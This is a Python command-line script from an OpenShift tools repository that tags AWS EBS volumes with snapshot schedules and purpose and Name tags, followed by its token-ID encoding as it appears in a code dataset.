scripts/cloud/aws/ops-ec2-add-snapshot-tag-to-ebs-volumes.py
fahlmant/openshift-tools
164
25638
#!/usr/bin/env python # vim: expandtab:tabstop=4:shiftwidth=4 """ This is a script that can be used to tag EBS volumes in OpenShift v3. This script assume that your AWS credentials are setup in ~/.aws/credentials like this: [default] aws_access_key_id = xxxx aws_secret_access_key = xxxx Or that environment variables are setup: AWS_ACCESS_KEY_ID=xxxx AWS_SECRET_ACCESS_KEY=xxxx """ # Ignoring module name # pylint: disable=invalid-name import argparse import os import sys import logging from logging.handlers import RotatingFileHandler from openshift_tools.cloud.aws.ebs_snapshotter import SUPPORTED_SCHEDULES, EbsSnapshotter from openshift_tools.cloud.aws.ebs_util import EbsUtil logger = logging.getLogger() logger.setLevel(logging.DEBUG) logFormatter = logging.Formatter('%(asctime)s %(levelname)s %(name)s %(message)s') logFile = '/var/log/ec2-add-snapshot-tag-to-ebs-volumes.log' logRFH = RotatingFileHandler(logFile, mode='a', maxBytes=2*1024*1024, backupCount=5, delay=0) logRFH.setFormatter(logFormatter) logRFH.setLevel(logging.INFO) logger.addHandler(logRFH) logConsole = logging.StreamHandler() logConsole.setFormatter(logFormatter) logConsole.setLevel(logging.WARNING) logger.addHandler(logConsole) TAGGER_SUPPORTED_SCHEDULES = ['never'] + SUPPORTED_SCHEDULES ROOT_VOLUME_PURPOSE = "root volume" DOCKER_VOLUME_PURPOSE = "docker storage volume" PV_PURPOSE = "customer persistent volume" class TaggerCli(object): """ Implements the cli interface to the EBS snapshot tagger. """ def __init__(self): self.args = None self.parse_args() if self.args.verbose: logConsole.setLevel(logging.INFO) if self.args.debug: logConsole.setLevel(logging.DEBUG) if self.args.skip_boto_logs: logging.getLogger('boto').setLevel(logging.WARNING) def parse_args(self): """ parse the args from the cli """ parser = argparse.ArgumentParser(description='EBS Volume Tagger') parser.add_argument('--master-root-volumes', choices=TAGGER_SUPPORTED_SCHEDULES, help='The snapshot schedule that master root volumes ' + \ 'should be tagged with.') parser.add_argument('--node-root-volumes', choices=TAGGER_SUPPORTED_SCHEDULES, help='The snapshot schedule that node root volumes ' + \ 'should be tagged with.') parser.add_argument('--docker-storage-volumes', choices=TAGGER_SUPPORTED_SCHEDULES, help='The snapshot schedule that docker storage ' + \ 'volumes should be tagged with.') parser.add_argument('--autoprovisioned-pv-volumes', choices=TAGGER_SUPPORTED_SCHEDULES, help='The snapshot schedule that autoprovisioned pv ' + \ 'volumes should be tagged with.') parser.add_argument('--manually-provisioned-pv-volumes', choices=TAGGER_SUPPORTED_SCHEDULES, help='The snapshot schedule that manually provisioned pv ' + \ 'volumes should be tagged with.') parser.add_argument('--unidentified-volumes', choices=TAGGER_SUPPORTED_SCHEDULES, help='The snapshot schedule that unidentified ' + \ 'volumes should be tagged with.') parser.add_argument('--set-name-tag', action='store_true', default=False, help='Add the Name tag to volumes of the host where this ' + \ 'volume is attached.') parser.add_argument('--set-purpose-tag', action='store_true', default=False, help='Add the purpose tag to volumes') parser.add_argument('--retag-volumes', action='store_true', default=False, help='Retag volumes that already have a snapshot tag. ' + \ 'DANGEROUS - Only do this if you know what you\'re doing!') parser.add_argument('--aws-creds-profile', required=False, help='The AWS credentials profile to use.') parser.add_argument('--dry-run', action='store_true', default=False, help='Say what would have been done, but don\'t actually do it.') parser.add_argument('-v', '--verbose', action='store_true', default=None, help='Verbose?') parser.add_argument('--debug', action='store_true', default=None, help='Debug?') parser.add_argument('--skip-boto-logs', action='store_true', default=False, help='Skip boto logs') parser.add_argument('--region', required=True, help='The region that we want to process snapshots in') self.args = parser.parse_args() def set_master_root_volume_tags(self, master_root_vol_ids, ebs_snapshotter, ebs_util): """ Sets tags on master root volumes """ logger.debug("Setting master root volume tags:") ebs_snapshotter.set_volume_snapshot_tag(master_root_vol_ids, self.args.master_root_volumes, prefix=" ", dry_run=self.args.dry_run) if self.args.set_purpose_tag: ebs_util.set_volume_purpose_tag(master_root_vol_ids, ROOT_VOLUME_PURPOSE, prefix=" ", dry_run=self.args.dry_run) if self.args.set_name_tag: ebs_util.set_volume_name_tag(master_root_vol_ids, prefix=" ", dry_run=self.args.dry_run) def set_node_root_volume_tags(self, node_root_vol_ids, ebs_snapshotter, ebs_util): """ Sets tags on node root volumes """ logger.debug("Setting node root volume tags:") ebs_snapshotter.set_volume_snapshot_tag(node_root_vol_ids, self.args.node_root_volumes, prefix=" ", dry_run=self.args.dry_run) if self.args.set_purpose_tag: ebs_util.set_volume_purpose_tag(node_root_vol_ids, ROOT_VOLUME_PURPOSE, prefix=" ", dry_run=self.args.dry_run) if self.args.set_name_tag: ebs_util.set_volume_name_tag(node_root_vol_ids, prefix=" ", dry_run=self.args.dry_run) def set_docker_storage_volume_tags(self, docker_storage_vol_ids, ebs_snapshotter, ebs_util): """ Sets tags on docker storage volumes """ logger.debug("Setting docker storage volume tags:") ebs_snapshotter.set_volume_snapshot_tag(docker_storage_vol_ids, self.args.docker_storage_volumes, prefix=" ", dry_run=self.args.dry_run) if self.args.set_purpose_tag: ebs_util.set_volume_purpose_tag(docker_storage_vol_ids, DOCKER_VOLUME_PURPOSE, prefix=" ", dry_run=self.args.dry_run) if self.args.set_name_tag: ebs_util.set_volume_name_tag(docker_storage_vol_ids, prefix=" ", dry_run=self.args.dry_run) def set_manually_provisioned_pv_volume_tags(self, manually_provisioned_pv_vol_ids, ebs_snapshotter, ebs_util): """ Sets tags on manually provisioned pv volumes """ logger.debug("Setting manually provisioned pv volume tags:") ebs_snapshotter.set_volume_snapshot_tag(manually_provisioned_pv_vol_ids, self.args.manually_provisioned_pv_volumes, prefix=" ", dry_run=self.args.dry_run) # NOTE: not setting Name tag because PVs don't belong to a specific host. if self.args.set_purpose_tag: ebs_util.set_volume_purpose_tag(manually_provisioned_pv_vol_ids, PV_PURPOSE, prefix=" ", dry_run=self.args.dry_run) def set_autoprovisioned_pv_volume_tags(self, autoprovisioned_pv_vol_ids, ebs_snapshotter, ebs_util): """ Sets tags on autoprovisioned pv volumes """ logger.debug("Setting autoprovisioned pv volume tags:") ebs_snapshotter.set_volume_snapshot_tag(autoprovisioned_pv_vol_ids, self.args.autoprovisioned_pv_volumes, prefix=" ", dry_run=self.args.dry_run) # NOTE: not setting Name tag because PVs don't belong to a specific host. if self.args.set_purpose_tag: ebs_util.set_volume_purpose_tag(autoprovisioned_pv_vol_ids, PV_PURPOSE, prefix=" ", dry_run=self.args.dry_run) def set_unidentified_volume_tags(self, unidentified_vol_ids, ebs_snapshotter): """ Sets tags on unidentified pv volumes """ logger.debug("Setting unidentified volume tags:") ebs_snapshotter.set_volume_snapshot_tag(unidentified_vol_ids, self.args.unidentified_volumes, prefix=" ", dry_run=self.args.dry_run) # NOTE: not setting purpose tag because volumes are unidentified, so we don't know. # NOTE: not setting Name tag because we don't know if it makes sense in this context. def main(self): """ Serves as the entry point for the CLI """ logger.info('Starting snapshot tagging') if self.args.aws_creds_profile: os.environ['AWS_PROFILE'] = self.args.aws_creds_profile ebs_snapshotter = EbsSnapshotter(self.args.region, verbose=True) if not ebs_snapshotter.is_region_valid(self.args.region): logger.info("Invalid region") sys.exit(1) else: logger.info("Region: %s:", self.args.region) ebs_util = EbsUtil(self.args.region, verbose=True) ebs_snapshotter = EbsSnapshotter(self.args.region, verbose=True) # filter out the already tagged volumes skip_volume_ids = [] if not self.args.retag_volumes: # They don't want us to retag volumes that are already tagged, so # add the already tagged volumes to the list of volume IDs to skip. skip_volume_ids += ebs_snapshotter.get_already_tagged_volume_ids() logger.info('Skipping this many volume ids: %s', len(skip_volume_ids)) vol_ids = ebs_util.get_classified_volume_ids(skip_volume_ids) for id_name, id_list in vol_ids._asdict().iteritems(): logger.info('name: %s amount: %s', id_name, len(id_list)) ## Actually create the snapshot tags now if self.args.master_root_volumes and vol_ids.master_root: self.set_master_root_volume_tags(vol_ids.master_root, ebs_snapshotter, ebs_util) if self.args.node_root_volumes and vol_ids.node_root: self.set_node_root_volume_tags(vol_ids.node_root, ebs_snapshotter, ebs_util) if self.args.docker_storage_volumes and vol_ids.docker_storage: self.set_docker_storage_volume_tags(vol_ids.docker_storage, ebs_snapshotter, ebs_util) if self.args.manually_provisioned_pv_volumes and vol_ids.manually_provisioned_pv: self.set_manually_provisioned_pv_volume_tags(vol_ids.manually_provisioned_pv, ebs_snapshotter, ebs_util) if self.args.autoprovisioned_pv_volumes and vol_ids.autoprovisioned_pv: self.set_autoprovisioned_pv_volume_tags(vol_ids.autoprovisioned_pv, ebs_snapshotter, ebs_util) if self.args.unidentified_volumes and vol_ids.unidentified: self.set_unidentified_volume_tags(vol_ids.unidentified, ebs_snapshotter) if __name__ == "__main__": TaggerCli().main()
[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 325, 326, 29901, 7985, 3891, 29901, 3891, 9847, 29922, 29946, 29901, 10889, 2103, 29922, 29946, 13, 13, 15945, 29908, 13, 910, 338, 263, 2471, 393, 508, 367, 1304, 304, 4055, 382, 9851, 18167, 297, 4673, 29657, 325, 29941, 29889, 13, 13, 910, 2471, 5251, 393, 596, 15540, 16140, 526, 6230, 297, 3695, 6294, 10467, 29914, 11944, 9409, 763, 445, 29901, 13, 13, 29871, 518, 4381, 29962, 13, 29871, 25879, 29918, 5943, 29918, 1989, 29918, 333, 353, 921, 12353, 13, 29871, 25879, 29918, 19024, 29918, 5943, 29918, 1989, 353, 921, 12353, 13, 13, 13, 1394, 393, 5177, 3651, 526, 6230, 29901, 13, 13, 29871, 15540, 29918, 2477, 23524, 29918, 10818, 29918, 1367, 29922, 14633, 13, 29871, 15540, 29918, 1660, 22245, 29911, 29918, 2477, 23524, 29918, 10818, 29922, 14633, 13, 13, 15945, 29908, 13, 29937, 18076, 8253, 3883, 1024, 13, 29937, 282, 2904, 524, 29901, 11262, 29922, 20965, 29899, 978, 13, 13, 5215, 1852, 5510, 13, 5215, 2897, 13, 5215, 10876, 13, 5215, 12183, 13, 3166, 12183, 29889, 3179, 9306, 1053, 9664, 1218, 2283, 4598, 13, 13, 3166, 13246, 29882, 2027, 29918, 8504, 29889, 9274, 29889, 10467, 29889, 774, 29879, 29918, 29879, 14551, 357, 1053, 317, 4897, 15082, 3352, 29918, 29903, 3210, 3352, 29965, 17101, 29892, 382, 5824, 21913, 357, 13, 3166, 13246, 29882, 2027, 29918, 8504, 29889, 9274, 29889, 10467, 29889, 774, 29879, 29918, 4422, 1053, 382, 5824, 7270, 13, 13, 21707, 353, 12183, 29889, 657, 16363, 580, 13, 21707, 29889, 842, 10108, 29898, 21027, 29889, 18525, 29897, 13, 1188, 18522, 353, 12183, 29889, 18522, 877, 29995, 29898, 294, 312, 603, 29897, 29879, 1273, 29898, 5563, 978, 29897, 29879, 1273, 29898, 978, 29897, 29879, 1273, 29898, 4906, 29897, 29879, 1495, 13, 1188, 2283, 353, 8207, 1707, 29914, 1188, 29914, 687, 29906, 29899, 1202, 29899, 29879, 14551, 29899, 4039, 29899, 517, 29899, 774, 29879, 29899, 1555, 9351, 29889, 1188, 29915, 13, 13, 1188, 29934, 29943, 29950, 353, 9664, 1218, 2283, 4598, 29898, 1188, 2283, 29892, 4464, 2433, 29874, 742, 4236, 11207, 29922, 29906, 29930, 29896, 29900, 29906, 29946, 29930, 29896, 29900, 29906, 29946, 29892, 16199, 3981, 29922, 29945, 29892, 9055, 29922, 29900, 29897, 13, 1188, 29934, 29943, 29950, 29889, 842, 18522, 29898, 1188, 18522, 29897, 13, 1188, 29934, 29943, 29950, 29889, 842, 10108, 29898, 21027, 29889, 11690, 29897, 13, 21707, 29889, 1202, 4598, 29898, 1188, 29934, 29943, 29950, 29897, 13, 1188, 20008, 353, 12183, 29889, 3835, 4598, 580, 13, 1188, 20008, 29889, 842, 18522, 29898, 1188, 18522, 29897, 13, 1188, 20008, 29889, 842, 10108, 29898, 21027, 29889, 29956, 25614, 29897, 13, 21707, 29889, 1202, 4598, 29898, 1188, 20008, 29897, 13, 13, 13, 16881, 17070, 29918, 29903, 4897, 15082, 3352, 29918, 29903, 3210, 3352, 29965, 17101, 353, 6024, 484, 369, 2033, 718, 317, 4897, 15082, 3352, 29918, 29903, 3210, 3352, 29965, 17101, 13, 13, 13, 21289, 29918, 29963, 5607, 29965, 2303, 29918, 29925, 4574, 13152, 1660, 353, 376, 4632, 7977, 29908, 13, 3970, 7077, 1001, 29918, 29963, 5607, 29965, 2303, 29918, 29925, 4574, 13152, 1660, 353, 376, 14695, 8635, 7977, 29908, 13, 29925, 29963, 29918, 29925, 4574, 13152, 1660, 353, 376, 15539, 28152, 7977, 29908, 13, 13, 13, 1990, 323, 9921, 29907, 492, 29898, 3318, 1125, 13, 1678, 9995, 1954, 9711, 278, 9335, 5067, 304, 278, 382, 9851, 22395, 4055, 914, 29889, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1583, 29889, 5085, 353, 6213, 13, 4706, 1583, 29889, 5510, 29918, 5085, 580, 13, 4706, 565, 1583, 29889, 5085, 29889, 369, 15828, 29901, 13, 9651, 1480, 20008, 29889, 842, 10108, 29898, 21027, 29889, 11690, 29897, 13, 4706, 565, 1583, 29889, 5085, 29889, 8382, 29901, 13, 9651, 1480, 20008, 29889, 842, 10108, 29898, 21027, 29889, 18525, 29897, 13, 4706, 565, 1583, 29889, 5085, 29889, 11014, 29918, 29890, 3747, 29918, 20756, 29901, 13, 9651, 12183, 29889, 657, 16363, 877, 29890, 3747, 2824, 842, 10108, 29898, 21027, 29889, 29956, 25614, 29897, 13, 13, 1678, 822, 6088, 29918, 5085, 29898, 1311, 1125, 13, 4706, 9995, 6088, 278, 6389, 515, 278, 9335, 9995, 13, 4706, 13812, 353, 1852, 5510, 29889, 15730, 11726, 29898, 8216, 2433, 29923, 9851, 16934, 323, 9921, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 6207, 29899, 4632, 29899, 1555, 9351, 742, 19995, 29922, 16881, 17070, 29918, 29903, 4897, 15082, 3352, 29918, 29903, 3210, 3352, 29965, 17101, 29892, 13, 462, 9651, 1371, 2433, 1576, 22395, 20410, 393, 5835, 3876, 18167, 525, 718, 320, 13, 462, 462, 525, 9344, 367, 4055, 3192, 411, 29889, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 3177, 29899, 4632, 29899, 1555, 9351, 742, 19995, 29922, 16881, 17070, 29918, 29903, 4897, 15082, 3352, 29918, 29903, 3210, 3352, 29965, 17101, 29892, 13, 462, 9651, 1371, 2433, 1576, 22395, 20410, 393, 2943, 3876, 18167, 525, 718, 320, 13, 462, 462, 525, 9344, 367, 4055, 3192, 411, 29889, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 14695, 29899, 12925, 29899, 1555, 9351, 742, 19995, 29922, 16881, 17070, 29918, 29903, 4897, 15082, 3352, 29918, 29903, 3210, 3352, 29965, 17101, 29892, 13, 462, 9651, 1371, 2433, 1576, 22395, 20410, 393, 10346, 8635, 525, 718, 320, 13, 462, 462, 525, 1555, 9351, 881, 367, 4055, 3192, 411, 29889, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 1300, 26555, 4924, 287, 29899, 29886, 29894, 29899, 1555, 9351, 742, 19995, 29922, 16881, 17070, 29918, 29903, 4897, 15082, 3352, 29918, 29903, 3210, 3352, 29965, 17101, 29892, 13, 462, 9651, 1371, 2433, 1576, 22395, 20410, 393, 1120, 26555, 4924, 287, 282, 29894, 525, 718, 320, 13, 462, 462, 525, 1555, 9351, 881, 367, 4055, 3192, 411, 29889, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 1171, 1474, 29899, 771, 4924, 287, 29899, 29886, 29894, 29899, 1555, 9351, 742, 19995, 29922, 16881, 17070, 29918, 29903, 4897, 15082, 3352, 29918, 29903, 3210, 3352, 29965, 17101, 29892, 13, 462, 9651, 1371, 2433, 1576, 22395, 20410, 393, 7522, 25161, 287, 282, 29894, 525, 718, 320, 13, 462, 462, 525, 1555, 9351, 881, 367, 4055, 3192, 411, 29889, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 348, 1693, 2164, 29899, 1555, 9351, 742, 19995, 29922, 16881, 17070, 29918, 29903, 4897, 15082, 3352, 29918, 29903, 3210, 3352, 29965, 17101, 29892, 13, 462, 9651, 1371, 2433, 1576, 22395, 20410, 393, 443, 1693, 2164, 525, 718, 320, 13, 462, 462, 525, 1555, 9351, 881, 367, 4055, 3192, 411, 29889, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 842, 29899, 978, 29899, 4039, 742, 3158, 2433, 8899, 29918, 3009, 742, 2322, 29922, 8824, 29892, 13, 462, 9651, 1371, 2433, 2528, 278, 4408, 4055, 304, 18167, 310, 278, 3495, 988, 445, 525, 718, 320, 13, 462, 462, 525, 24623, 338, 10959, 29889, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 842, 29899, 15503, 4220, 29899, 4039, 742, 3158, 2433, 8899, 29918, 3009, 742, 2322, 29922, 8824, 29892, 13, 462, 9651, 1371, 2433, 2528, 278, 6437, 4055, 304, 18167, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 2267, 351, 29899, 1555, 9351, 742, 3158, 2433, 8899, 29918, 3009, 742, 2322, 29922, 8824, 29892, 13, 462, 9651, 1371, 2433, 8015, 351, 18167, 393, 2307, 505, 263, 22395, 4055, 29889, 525, 718, 320, 13, 462, 462, 525, 29928, 2190, 17070, 29949, 3308, 448, 9333, 437, 445, 565, 366, 1073, 825, 366, 20333, 276, 2599, 29991, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 10467, 29899, 1037, 6289, 29899, 10185, 742, 3734, 29922, 8824, 29892, 13, 462, 9651, 1371, 2433, 1576, 15540, 16140, 8722, 304, 671, 29889, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 29881, 719, 29899, 3389, 742, 3158, 2433, 8899, 29918, 3009, 742, 2322, 29922, 8824, 29892, 13, 462, 9651, 1371, 2433, 29903, 388, 825, 723, 505, 1063, 2309, 29892, 541, 1016, 20333, 29873, 2869, 437, 372, 29889, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 29899, 29894, 742, 525, 489, 369, 15828, 742, 3158, 2433, 8899, 29918, 3009, 742, 2322, 29922, 8516, 29892, 1371, 2433, 6565, 15828, 29973, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 8382, 742, 3158, 2433, 8899, 29918, 3009, 742, 2322, 29922, 8516, 29892, 1371, 2433, 11862, 29973, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 11014, 29899, 29890, 3747, 29899, 20756, 742, 3158, 2433, 8899, 29918, 3009, 742, 2322, 29922, 8824, 29892, 1371, 2433, 15797, 666, 289, 3747, 10748, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 12803, 742, 3734, 29922, 5574, 29892, 13, 462, 9651, 1371, 2433, 1576, 5120, 393, 591, 864, 304, 1889, 15101, 845, 1862, 297, 1495, 13, 13, 4706, 1583, 29889, 5085, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 13, 1678, 822, 731, 29918, 6207, 29918, 4632, 29918, 24623, 29918, 11338, 29898, 1311, 29892, 5835, 29918, 4632, 29918, 1555, 29918, 4841, 29892, 321, 5824, 29918, 29879, 14551, 357, 29892, 321, 5824, 29918, 4422, 1125, 13, 4706, 9995, 317, 1691, 8282, 373, 5835, 3876, 18167, 9995, 13, 4706, 17927, 29889, 8382, 703, 29020, 5835, 3876, 7977, 8282, 29901, 1159, 13, 4706, 321, 5824, 29918, 29879, 14551, 357, 29889, 842, 29918, 24623, 29918, 29879, 14551, 29918, 4039, 29898, 6207, 29918, 4632, 29918, 1555, 29918, 4841, 29892, 1583, 29889, 5085, 29889, 6207, 29918, 4632, 29918, 1555, 9351, 29892, 13, 462, 462, 18884, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 4706, 565, 1583, 29889, 5085, 29889, 842, 29918, 15503, 4220, 29918, 4039, 29901, 13, 9651, 321, 5824, 29918, 4422, 29889, 842, 29918, 24623, 29918, 15503, 4220, 29918, 4039, 29898, 6207, 29918, 4632, 29918, 1555, 29918, 4841, 29892, 16641, 2891, 29918, 29963, 5607, 29965, 2303, 29918, 29925, 4574, 13152, 1660, 29892, 13, 462, 462, 9651, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 4706, 565, 1583, 29889, 5085, 29889, 842, 29918, 978, 29918, 4039, 29901, 13, 9651, 321, 5824, 29918, 4422, 29889, 842, 29918, 24623, 29918, 978, 29918, 4039, 29898, 6207, 29918, 4632, 29918, 1555, 29918, 4841, 29892, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 1678, 822, 731, 29918, 3177, 29918, 4632, 29918, 24623, 29918, 11338, 29898, 1311, 29892, 2943, 29918, 4632, 29918, 1555, 29918, 4841, 29892, 321, 5824, 29918, 29879, 14551, 357, 29892, 321, 5824, 29918, 4422, 1125, 13, 4706, 9995, 317, 1691, 8282, 373, 2943, 3876, 18167, 9995, 13, 4706, 17927, 29889, 8382, 703, 29020, 2943, 3876, 7977, 8282, 29901, 1159, 13, 4706, 321, 5824, 29918, 29879, 14551, 357, 29889, 842, 29918, 24623, 29918, 29879, 14551, 29918, 4039, 29898, 3177, 29918, 4632, 29918, 1555, 29918, 4841, 29892, 1583, 29889, 5085, 29889, 3177, 29918, 4632, 29918, 1555, 9351, 29892, 13, 462, 462, 18884, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 4706, 565, 1583, 29889, 5085, 29889, 842, 29918, 15503, 4220, 29918, 4039, 29901, 13, 9651, 321, 5824, 29918, 4422, 29889, 842, 29918, 24623, 29918, 15503, 4220, 29918, 4039, 29898, 3177, 29918, 4632, 29918, 1555, 29918, 4841, 29892, 16641, 2891, 29918, 29963, 5607, 29965, 2303, 29918, 29925, 4574, 13152, 1660, 29892, 13, 462, 462, 9651, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 4706, 565, 1583, 29889, 5085, 29889, 842, 29918, 978, 29918, 4039, 29901, 13, 9651, 321, 5824, 29918, 4422, 29889, 842, 29918, 24623, 29918, 978, 29918, 4039, 29898, 3177, 29918, 4632, 29918, 1555, 29918, 4841, 29892, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 1678, 822, 731, 29918, 14695, 29918, 12925, 29918, 24623, 29918, 11338, 29898, 1311, 29892, 10346, 29918, 12925, 29918, 1555, 29918, 4841, 29892, 321, 5824, 29918, 29879, 14551, 357, 29892, 321, 5824, 29918, 4422, 1125, 13, 4706, 9995, 317, 1691, 8282, 373, 10346, 8635, 18167, 9995, 13, 4706, 17927, 29889, 8382, 703, 29020, 10346, 8635, 7977, 8282, 29901, 1159, 13, 4706, 321, 5824, 29918, 29879, 14551, 357, 29889, 842, 29918, 24623, 29918, 29879, 14551, 29918, 4039, 29898, 14695, 29918, 12925, 29918, 1555, 29918, 4841, 29892, 1583, 29889, 5085, 29889, 14695, 29918, 12925, 29918, 1555, 9351, 29892, 13, 462, 462, 18884, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 4706, 565, 1583, 29889, 5085, 29889, 842, 29918, 15503, 4220, 29918, 4039, 29901, 13, 9651, 321, 5824, 29918, 4422, 29889, 842, 29918, 24623, 29918, 15503, 4220, 29918, 4039, 29898, 14695, 29918, 12925, 29918, 1555, 29918, 4841, 29892, 11662, 7077, 1001, 29918, 29963, 5607, 29965, 2303, 29918, 29925, 4574, 13152, 1660, 29892, 13, 462, 462, 9651, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 4706, 565, 1583, 29889, 5085, 29889, 842, 29918, 978, 29918, 4039, 29901, 13, 9651, 321, 5824, 29918, 4422, 29889, 842, 29918, 24623, 29918, 978, 29918, 4039, 29898, 14695, 29918, 12925, 29918, 1555, 29918, 4841, 29892, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 1678, 822, 731, 29918, 1171, 1474, 29918, 771, 4924, 287, 29918, 29886, 29894, 29918, 24623, 29918, 11338, 29898, 1311, 29892, 7522, 29918, 771, 4924, 287, 29918, 29886, 29894, 29918, 1555, 29918, 4841, 29892, 321, 5824, 29918, 29879, 14551, 357, 29892, 321, 5824, 29918, 4422, 1125, 13, 4706, 9995, 317, 1691, 8282, 373, 7522, 25161, 287, 282, 29894, 18167, 9995, 13, 4706, 17927, 29889, 8382, 703, 29020, 7522, 25161, 287, 282, 29894, 7977, 8282, 29901, 1159, 13, 4706, 321, 5824, 29918, 29879, 14551, 357, 29889, 842, 29918, 24623, 29918, 29879, 14551, 29918, 4039, 29898, 1171, 1474, 29918, 771, 4924, 287, 29918, 29886, 29894, 29918, 1555, 29918, 4841, 29892, 13, 462, 462, 18884, 1583, 29889, 5085, 29889, 1171, 1474, 29918, 771, 4924, 287, 29918, 29886, 29894, 29918, 1555, 9351, 29892, 13, 462, 462, 18884, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 4706, 396, 6058, 29923, 29901, 451, 4444, 4408, 4055, 1363, 349, 29963, 29879, 1016, 29915, 29873, 6852, 304, 263, 2702, 3495, 29889, 13, 13, 4706, 565, 1583, 29889, 5085, 29889, 842, 29918, 15503, 4220, 29918, 4039, 29901, 13, 9651, 321, 5824, 29918, 4422, 29889, 842, 29918, 24623, 29918, 15503, 4220, 29918, 4039, 29898, 1171, 1474, 29918, 771, 4924, 287, 29918, 29886, 29894, 29918, 1555, 29918, 4841, 29892, 349, 29963, 29918, 29925, 4574, 13152, 1660, 29892, 13, 462, 462, 9651, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 1678, 822, 731, 29918, 1300, 26555, 4924, 287, 29918, 29886, 29894, 29918, 24623, 29918, 11338, 29898, 1311, 29892, 1120, 26555, 4924, 287, 29918, 29886, 29894, 29918, 1555, 29918, 4841, 29892, 321, 5824, 29918, 29879, 14551, 357, 29892, 321, 5824, 29918, 4422, 1125, 13, 4706, 9995, 317, 1691, 8282, 373, 1120, 26555, 4924, 287, 282, 29894, 18167, 9995, 13, 4706, 17927, 29889, 8382, 703, 29020, 1120, 26555, 4924, 287, 282, 29894, 7977, 8282, 29901, 1159, 13, 4706, 321, 5824, 29918, 29879, 14551, 357, 29889, 842, 29918, 24623, 29918, 29879, 14551, 29918, 4039, 29898, 1300, 26555, 4924, 287, 29918, 29886, 29894, 29918, 1555, 29918, 4841, 29892, 13, 462, 462, 18884, 1583, 29889, 5085, 29889, 1300, 26555, 4924, 287, 29918, 29886, 29894, 29918, 1555, 9351, 29892, 13, 462, 462, 18884, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 4706, 396, 6058, 29923, 29901, 451, 4444, 4408, 4055, 1363, 349, 29963, 29879, 1016, 29915, 29873, 6852, 304, 263, 2702, 3495, 29889, 13, 13, 4706, 565, 1583, 29889, 5085, 29889, 842, 29918, 15503, 4220, 29918, 4039, 29901, 13, 9651, 321, 5824, 29918, 4422, 29889, 842, 29918, 24623, 29918, 15503, 4220, 29918, 4039, 29898, 1300, 26555, 4924, 287, 29918, 29886, 29894, 29918, 1555, 29918, 4841, 29892, 349, 29963, 29918, 29925, 4574, 13152, 1660, 29892, 13, 462, 462, 9651, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 1678, 822, 731, 29918, 348, 1693, 2164, 29918, 24623, 29918, 11338, 29898, 1311, 29892, 443, 1693, 2164, 29918, 1555, 29918, 4841, 29892, 321, 5824, 29918, 29879, 14551, 357, 1125, 13, 4706, 9995, 317, 1691, 8282, 373, 443, 1693, 2164, 282, 29894, 18167, 9995, 13, 4706, 17927, 29889, 8382, 703, 29020, 443, 1693, 2164, 7977, 8282, 29901, 1159, 13, 4706, 321, 5824, 29918, 29879, 14551, 357, 29889, 842, 29918, 24623, 29918, 29879, 14551, 29918, 4039, 29898, 348, 1693, 2164, 29918, 1555, 29918, 4841, 29892, 1583, 29889, 5085, 29889, 348, 1693, 2164, 29918, 1555, 9351, 29892, 13, 462, 462, 18884, 10944, 543, 1678, 9162, 15589, 29918, 3389, 29922, 1311, 29889, 5085, 29889, 29881, 719, 29918, 3389, 29897, 13, 13, 4706, 396, 6058, 29923, 29901, 451, 4444, 6437, 4055, 1363, 18167, 526, 443, 1693, 2164, 29892, 577, 591, 1016, 29915, 29873, 1073, 29889, 13, 4706, 396, 6058, 29923, 29901, 451, 4444, 4408, 4055, 1363, 591, 1016, 29915, 29873, 1073, 565, 372, 3732, 4060, 297, 445, 3030, 29889, 13, 13, 1678, 822, 